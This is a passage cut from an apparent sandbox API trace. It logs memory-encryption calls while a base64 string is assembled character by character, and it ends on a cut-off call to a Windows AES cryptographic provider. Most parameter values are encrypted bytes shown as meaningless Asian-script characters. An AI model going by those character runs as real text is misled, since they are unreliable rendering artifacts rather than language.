OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.130] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0235.130] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.130] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.131] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0235.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.131] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0235.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.131] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0235.131] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.131] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.132] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0235.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.132] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.132] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0235.132] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0235.132] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.133] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0235.133] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.133] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.133] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0235.133] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.133] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.133] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0235.133] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.133] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.134] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0235.134] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.134] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.134] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0235.134] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.134] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.134] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0235.134] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.134] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.135] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0235.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.135] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0235.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0235.135] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0235.136] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.136] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0235.136] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.136] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0235.136] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.136] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.136] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0235.136] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.137] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.137] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0235.137] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.137] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.137] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0235.137] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.137] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.137] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0235.138] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.138] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.138] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0235.138] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0235.140] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0235.140] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.140] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0235.140] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.141] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.141] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0235.141] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.141] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.141] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0235.141] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.141] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.141] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0235.141] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.142] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0235.142] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.142] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0235.142] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.142] SystemFunction041 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0235.142] SystemFunction040 (in: Memory=0x5c9ade4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ade4) returned 0x0 [0235.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0235.143] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0235.143] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.143] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0235.143] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.144] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0235.144] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.144] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.144] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.144] EtwEventActivityIdControl () returned 0x0 [0235.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.144] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.145] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0235.146] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: 